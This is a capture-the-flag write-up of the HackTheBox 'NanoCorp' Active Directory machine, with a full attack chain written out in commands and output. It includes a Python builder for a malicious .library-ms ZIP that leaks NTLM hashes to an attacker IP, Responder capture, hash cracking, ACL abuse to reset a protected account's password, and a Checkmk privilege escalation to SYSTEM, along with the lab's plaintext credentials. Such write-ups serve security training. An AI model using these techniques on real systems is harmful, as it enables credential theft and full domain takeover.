HTB: NanoCorp

🖥️

NanoCorp

HackTheBox · Windows Active Directory

Hard

IP Address

10.129.243.199

Domain

nanocorp.htb

Hostname

DC01

Windows Server 2022

Release

08 Nov 2025

Retire

20 Jun 2026

Creator

EmSec

User Blood

ahos6 · 00:06:48

Root Blood

Pyp · 00:39:48

CVE-2025-24071 CVE-2024-0670 Active Directory BloodHound Kerberos Protected Users Checkmk LPE

Overview

NanoCorp is a Windows Active Directory machine built around a careers portal that accepts uploaded application archives. The attack chain:

CVE-2025-24071 — Craft a malicious .library-ms inside a ZIP → leak web_svc Net-NTLMv2 via Responder when the server extracts it
Crack + BloodHound — Crack the hash, map web_svc → IT_Support → ForceChangePassword → monitoring_svc
Kerberos shell — monitoring_svc is in Protected Users; auth over Kerberos via evil-winrm-py over WinRM SSL (port 5986)
CVE-2024-0670 — Checkmk agent runs as SYSTEM and processes a writable temp directory → arbitrary code execution

Recon

Initial Nmap Scan

sudo nmap -p- --reason --min-rate 10000 10.129.243.199

20 open TCP ports — classic Windows DC fingerprint:

 domain          88   kerberos-sec    135  msrpc
netbios-ssn     389  ldap            445  microsoft-ds
kpasswd5        593  http-rpc-epmap  636  ldapssl
globalcatLDAP   3269 globalcatLDAPssl
wsmans  ← WinRM SSL (not the default 5985)
adws

Version scan confirms:

Domain: nanocorp.htb · DC: DC01 · OS: Windows Server 2022 Build 20348
SSL cert on 5986: commonName=dc01.nanocorp.htb
Clock skew: ~7h → run sudo ntpdate DC01.nanocorp.htb before any Kerberos operation

Hosts File

netexec smb 10.129.243.199 --generate-hosts-file hosts
cat hosts /etc/hosts | sudo tee /etc/hosts | head -1
# 10.129.243.199   DC01.nanocorp.htb nanocorp.htb DC01

SMB / LDAP Baseline

netexec smb DC01.nanocorp.htb -u guest -p ''
# [-] STATUS_ACCOUNT_DISABLED   (no anonymous access)

netexec ldap DC01.nanocorp.htb
# signing:None          → unsigned LDAP binds accepted (relay-vulnerable)
# channel binding:none  → no EPA enforcement

An unintended NTLM-relay-to-LDAP path existed and was patched ~1 week after release.

Web — nanocorp.htb (TCP 80)

Apache/XAMPP stack (PHP 8.2.12). The “About Us” popup links to hire.nanocorp.htb.

echo "10.129.243.199  hire.nanocorp.htb" | sudo tee -a /etc/hosts

feroxbuster -u http://nanocorp.htb -x html,php \
  -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
# Nothing exploitable — static site only

hire.nanocorp.htb — Job Application Portal

feroxbuster -u http://hire.nanocorp.htb -x php,html \
  -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
# 200  /upload.php
# 302  /success.php → index.html

The form accepts a ZIP archive and extracts it server-side. Renaming a text file to .zip fails — the server validates the archive structure.

Auth as web_svc

CVE-2025-24071 — Net-NTLMv2 Leak via .library-ms

Background: When Windows Explorer (or Expand-Archive) extracts a ZIP containing a .library-ms file, it automatically connects to the <url> embedded inside — sending NTLM credentials to the remote host.

# exploit.py — build malicious ZIP
content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{attacker_ip}\\share\\</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>"""

uv run exploit.py -i 10.10.14.51 -f payload
# → payload.zip (contains payload.library-ms)

Start Responder and upload the ZIP:

sudo uv run Responder.py -I tun0
# (upload payload.zip via hire.nanocorp.htb form)
# Wait ~1-2 min for the automated job to extract the archive

Hit received:

[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:99c66f06671506e5:EECF778...

Crack the Hash

hashcat web_svc.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
# Mode auto-detected: 5600 (NetNTLMv2)
# Cracked: dksehdgh712!@#

netexec smb nanocorp.htb -u web_svc -p 'dksehdgh712!@#'
# [+] nanocorp.htb\web_svc:dksehdgh712!@#

Shell as monitoring_svc

BloodHound — ACL Enumeration

netexec ldap nanocorp.htb -u web_svc -p 'dksehdgh712!@#' \
  --dns-server 10.129.243.199 --bloodhound -c all

Attack path discovered:

web_svc  ──[AddMember]──▶  IT_Support  ──[ForceChangePassword]──▶  monitoring_svc
monitoring_svc  ──[Member]──▶  Remote Management Users  ──▶  WinRM Shell

Also found: monitoring_svc is in Protected Users → NTLM auth blocked, Kerberos required.

Exploit the ACL Chain

# 1. Add web_svc to IT_Support
bloodyAD --host dc01.nanocorp.htb -u web_svc -p 'dksehdgh712!@#' \
  add groupMember IT_Support web_svc
# [+] web_svc added to IT_Support

# 2. Reset monitoring_svc password
bloodyAD --host dc01.nanocorp.htb -u web_svc -p 'dksehdgh712!@#' \
  set password monitoring_svc 'vulnquest.'
# [+] Password changed successfully!

Kerberos Authentication (Protected Users)

NTLM fails as expected:

netexec smb DC01.nanocorp.htb -u monitoring_svc -p 'vulnquest.'
# [-] STATUS_ACCOUNT_RESTRICTION

# Sync clock first, then use -k
sudo ntpdate DC01.nanocorp.htb
netexec smb DC01.nanocorp.htb -u monitoring_svc -p 'vulnquest.' -k
# [+] nanocorp.htb\monitoring_svc:vulnquest.

WinRM Shell (Port 5986 — SSL)

# Generate krb5.conf
netexec smb nanocorp.htb -u web_svc -p 'dksehdgh712!@#' \
  --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# Connect via evil-winrm-py (--ssl flag for port 5986)
evil-winrm-py -i DC01.nanocorp.htb -u monitoring_svc -p 'vulnquest.' -k --ssl

evil-winrm-py PS C:\Users\monitoring_svc\Desktop> cat user.txt
b08297a9************************

Shell as Administrator

Enumeration

# Non-standard programs
C:\Program Files (x86)\checkmk\   ← IT monitoring agent
C:\xampp\                          ← web server

# Port 6556 = Checkmk agent (not in original nmap — internal only)
netstat -ano | findstr 6556
# TCP  0.0.0.0:6556  LISTENING  4020
get-process | findstr 4020
# cmk-agent-ctl

# Agent data directory (monitoring_svc can write here)
C:\programdata\checkmk\agent\tmp\

CVE-2024-0670 — Checkmk Agent Privilege Escalation

Vulnerability: The Checkmk Windows agent (running as SYSTEM) processes files from a temp directory at C:\programdata\checkmk\agent\tmp\. monitoring_svc has write access to this path. Placing a specially crafted file here causes the agent to execute it as SYSTEM.

# Upload payload (MSI or script) to the writable tmp directory
upload payload.msi C:\programdata\checkmk\agent\tmp\payload.msi

# Agent picks up the MSI on next cycle and executes via msiexec as SYSTEM
# This grants arbitrary command execution with full system privileges

Verify SYSTEM access:

qwinsta
# SESSIONNAME   USERNAME       ID   STATE
# console       Administrator   1   Active

# Read root flag
type C:\Users\Administrator\Desktop\root.txt

Beyond Root — Scheduled Automations

C:\Users\web_svc\scripts\
├── ad_cleanup.ps1      # Removes added group members and resets passwords (cleanup loop)
├── CleaningUp.ps1      # General artifact cleanup
├── script01.ps1        # Simulates admin extracting uploaded ZIPs → triggers CVE-2025-24071
└── script02.ps1        # Periodic password reset for monitoring_svc

script01.ps1 is the key — it mimics an admin reviewing applications by extracting ZIPs from the upload directory. When Expand-Archive touches the .library-ms file, Windows sends NTLM credentials to the embedded UNC path.

Credentials Summary

Account	Credential	Method
`web_svc`	`dksehdgh712!@#`	Cracked from Net-NTLMv2 (Hashcat)
`monitoring_svc`	`vulnquest.`	ForceChangePassword via bloodyAD
`Administrator`	N/A (SYSTEM via CVE-2024-0670)	Checkmk agent temp dir exploit

Key Techniques

Phase	Technique	Tool / CVE
Initial access	NTLM hash leak via archive extraction	CVE-2025-24071 · Responder
Hash cracking	NetNTLMv2 → plaintext	Hashcat mode 5600
AD enumeration	ACL path discovery	BloodHound
Group abuse	AddMember via write permission	bloodyAD
Lateral movement	ForceChangePassword on Protected Users	bloodyAD
Auth bypass	Kerberos instead of NTLM	netexec `-k` · evil-winrm-py
Privilege escalation	Checkmk agent tmp dir → SYSTEM	CVE-2024-0670

References

CVE-2025-24071 — NTLM Hash Leak via .library-ms
CVE-2024-0670 — Checkmk Windows Agent LPE
bloodyAD
evil-winrm-py
LOLBAS — msiexec
HTB: Fluffy — similar CVE-2025-24071 path via SMB share upload